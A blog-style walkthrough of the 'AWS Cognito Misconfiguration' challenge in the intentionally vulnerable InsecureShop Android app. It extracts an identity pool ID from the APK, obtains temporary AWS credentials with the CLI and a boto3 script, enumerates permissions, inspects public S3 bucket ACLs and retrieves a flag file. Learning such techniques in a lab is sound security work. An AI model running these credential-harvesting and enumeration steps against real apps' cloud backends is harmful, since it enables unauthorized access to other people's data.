AWS Cognito Misconfigurations in Android Apps

Learn how an AWS Cognito Identity Pool can be identified in an APK and then checked if it is misconfigured.

Date and Time of last update Mon 11 Oct 2021
  



The spark for this article was created as I was checking the InsecureShop, which is an intentionally vulnerable Android app written in Kotlin. One of the vulnerabilities included is an "AWS Cognito Misconfiguration" which given my limited background with AWS seemed really interesting. I will definitely write another article in the near future about InsecureShop, as it seems to have an interesting set of vulnerabilities.

So, before diving into more details lets first describe what is AWS Cognito and why an Android app would use it. Well, when you are building an Android app you might need to have users to authenticate in order to get access to your system and/or authorize to perform some action. In many cases to deal with auth can be a headache and that is where AWS Cognito comes into play. It offers developers an easy way to integrate authentication and authorization to their apps. There are two kinds of identity pools (federated identities) that can be used, the first is called "User Pools" and its used when you require your user to sign into your application. The second (and most interesting in our case) is called "Identity Pools" and it is used to create unique identities for users in order for them to be allowed to access other AWS resources.

How to identify an identity pool in an APK?

The writer of the challenge used nuclei for it which is an awesome tool if you have the proper templates. The example output is shown below:

nuclei-identity-pool.png


Another way this can be done is by using aapt which you should have by default if you have android tools. The following command was used in our case:

➜  InsecureShop git:(main) ✗ aapt dump --values resources InsecureShop.apk | grep '^ *resource.*:string/' --after-context=1 | grep -i Identity_pool -A 1
        resource 0x7f10001e com.insecureshop:string/aws_Identity_pool_ID: t=0x03 d=0x00000353 (s=0x0008 r=0x00)
          (string8) "us-east-1:7e9426f7[REDACTED]c1c"


How to check an identity pool for misconfigurations?

The first step is acquiring temporary credentials using the identity pool. Then using these credentials we could sniff around and see what else is available.

For this step we will see two possible ways this can be done. The first is by utilizing the AWS-CLI tool, which is a particularly useful tool when dealing with AWS, so it is suggested to install it.

The first command to run which will use the identity pool in order to fetch us an identityID is:

➜  aws cognito-identity get-id --identity-pool-id us-east-1:7e9426f7[REDACTED]c1c --region us-east-1

{
    "IdentityId": "us-east-1:cff1435a-16c7-42e5-af8c-7ba43aad0fe6"
}


Using now this identityID we will run the following command:

➜  aws cognito-identity get-credentials-for-identity --identity-id us-east-1:cff1435a-16c7-42e5-af8c-7ba43aad0fe6 --region us-east-1

{
    "IdentityId": "us-east-1:cff1435a-16c7-42e5-af8c-7ba43aad0fe6",
    "Credentials": {
        "AccessKeyId": "ASIARL4ASLIPQQS37QF3",
        "SecretKey": "eA/nYHHAd7ElH2xMy0p+8t79+nNpqiWPwAW2Q5lQ",
        "SessionToken": "IQo[...]i",
        "Expiration": "2021-09-23T22:06:54+02:00"
    }
}

This returns us the three main credentials we need from now on, the AccessKeyId, the SecretKey and the SessionToken. In order to further use AWS-CLI now we need to either run aws configure and input these values (it will not ask you for the session token) or we have to edit the file ~/.aws/credentials and add them on our own.

As this process is a bit tedious and the credentials do expire after a while, it would be better if we had some more efficient way to do this.

For this reason, based on the script provided here by OWASP, I created the following one which is based on the python library boto3 (pip3 install boto3).

import boto3

region='us-east-1'
identity_pool='us-east-1:7e9426f7[REDACTED]c1c'

client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)
_id = _id['IdentityId']

credentials = client.get_credentials_for_identity(IdentityId=_id)
access_key = credentials['Credentials']['AccessKeyId']
secret_key = credentials['Credentials']['SecretKey']
session_token = credentials['Credentials']['SessionToken']
identity_id = credentials['IdentityId']
print(f"Access_Key: {access_key}")
print(f"Secret_Key: {secret_key}")
print(f"Session Token: {session_token}")

def write_to_file(filepath):
    f = open(filepath, "w")
    f.write("[default]\n")
    f.write(f"aws_access_key_id = {access_key}\n")
    f.write(f"aws_secret_access_key = {secret_key}\n")
    f.write(f"aws_session_token = {session_token}\n")
    f.close()

#write_to_file("/home/user/.aws/credentials")


This script will do exactly what we did manually earlier, along with updating the correct values to the ~/.aws/credentials file. Be cautious if you have more profiles in that file, the script will overwrite them!

Now that we have the temporary credentials, its time to enumerate permissions!

In order to do that, there are again two options, the first is a tool named enumerate-iam, but to be honest I did not have much luck with it, it was hanging a lot. The second option is weirdAAL and it requires an .env file with the same details as the ~/.aws/credentials on its root directory (TIP: you can use the function above to write to that file as well).

To start with weirdAAL, the first thing to run is:

python3 weirdAAL.py -m recon_all -t MyTarget

Which will create a rather verbose output. No need to worry though, as you do not have to go through it. The enumerated services available for us can be fetched using:

(weirdAAL) ➜  weirdAAL git:(master) ✗ python3 weirdAAL.py -m list_services_by_key -t MyTarget
[+] Services enumerated for ASIARL4ASLIP2WCQO7ST [+]
elasticbeanstalk.DescribeApplicationVersions
elasticbeanstalk.DescribeApplicationVersions
elasticbeanstalk.DescribeApplications
elasticbeanstalk.DescribeApplications
elasticbeanstalk.DescribeEnvironments
elasticbeanstalk.DescribeEnvironments
elasticbeanstalk.DescribeEvents
elasticbeanstalk.DescribeEvents
route53.ListGeoLocations
s3.ListBuckets
sts.GetCallerIdentity

As can be seen we can list buckets! Let us use the AWS-CLI tool again to check what we can actually get!

The following command lists the available buckets:

➜  InsecureShop git:(main) ✗ aws s3 ls
2020-08-16 17:28:46 84r4ppx76qhqj4bsgu8w
2020-11-15 18:31:10 elasticbeanstalk-us-west-2-094222047775

There are two buckets we can see, so the next step is to figure out what permissions we have for each bucket. The following snippet shows the output for permission checking for both buckets:

➜  InsecureShop git:(main) ✗ aws s3api get-bucket-acl --bucket 84r4ppx76qhqj4bsgu8w
[...]
"Grantee": {
    "Type": "Group",
    "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "READ"
},
{
"Grantee": {
    "Type": "Group",
    "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "READ_ACP"
},
[...]


➜  InsecureShop git:(main) ✗ aws s3api get-bucket-acl --bucket elasticbeanstalk-us-west-2-094222047775
{
    "Owner": {
        "DisplayName": "gaurang.bhatnagar",
        "ID": "a739e960d81c16fa079c24a60b84fb60d59643b83e47b2021ebeb289feb8581c"
    },
    "Grants": [
        {
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}

For the first bucket we simply have viewing permissions, meaning that we could see any objects being in the bucket. For the second bucket to our surprise we have the permission FULL_CONTROL. If you have not guessed it by now this should not be like that. It essentially means that everyone is possible to add/edit/delete objects from the bucket and also change the Access Control List (ACL) of it.

Checking the contents of the buckets showed initially that they were empty which did not make sense given the details of this challenge and therefore an issue was created in the project's github page. The bucket where we have viewing permissions only should have something readable in it and that should be our target. The author restored it and here is the result:

➜  InsecureShop git:(main) ✗ aws s3 ls s3://elasticbeanstalk-us-west-2-094222047775 --recursive --human-readable --summarize

Total Objects: 0
   Total Size: 0 Bytes

➜  InsecureShop git:(main) ✗ aws s3 ls s3://84r4ppx76qhqj4bsgu8w --recursive --human-readable --summarize
2021-09-23 20:53:07    1.8 KiB Congratulations.txt

Total Objects: 1
   Total Size: 1.8 KiB

Perfect! We have a file named Congratulations.txt listed in the bucket 84r4ppx76qhqj4bsgu8w. Let us download it and open it :

➜  InsecureShop git:(main) ✗ aws s3api get-object --bucket 84r4ppx76qhqj4bsgu8w --key Congratulations.txt Congratulations.txt
➜  InsecureShop git:(main) ✗ cat Congratulations.txt 
Congratulations!

Here's a beer for you :)

.===================================================================.
||                                                                 ||
||                                                                 ||
||                                                                 ||
||                            ___                                  ||
||                          .'   '.                                ||
||                         /       \           oOoOo               ||
||                        |      '' |       ,==|||||               ||
||                         \       /       _|| |||||               ||
||                          '.___.'    _.-'^|| |||||               ||
||                        __/_______.-'     '==HHHHH               ||
||                   _.-'` /                   """""               ||
||                .-'     /   oOoOo                                ||
||                `-._   / ,==|||||                                ||
||                    '-/._|| |||||                                ||
||                     /  ^|| |||||                                ||
||                    /    '==HHHHH                                ||
||                   /________"""""                                ||
||                   `\       `\                                   ||
||                     \        `\   /                             ||
||                      \         `\/                              ||
||                      /                                          ||
||                     /                                           ||
||                    /_____                                       ||
||                                                                 ||
'==================================================================='

Conclusion

We got our beer! A big thank you to the author of InsecureShop! This was a fun entry level challenge for AWS identity pools. It is a really good starting point for someone to understand how the federated identities work and what are the differences between the permissions. AWS has a lot to offer and Cognito seems to be one of the products that have gained a lot of attention as it simplifies a lot the authentication/authorization processes. Hope you liked this article and for any questions feel free to send me a message and I will try to get back to you.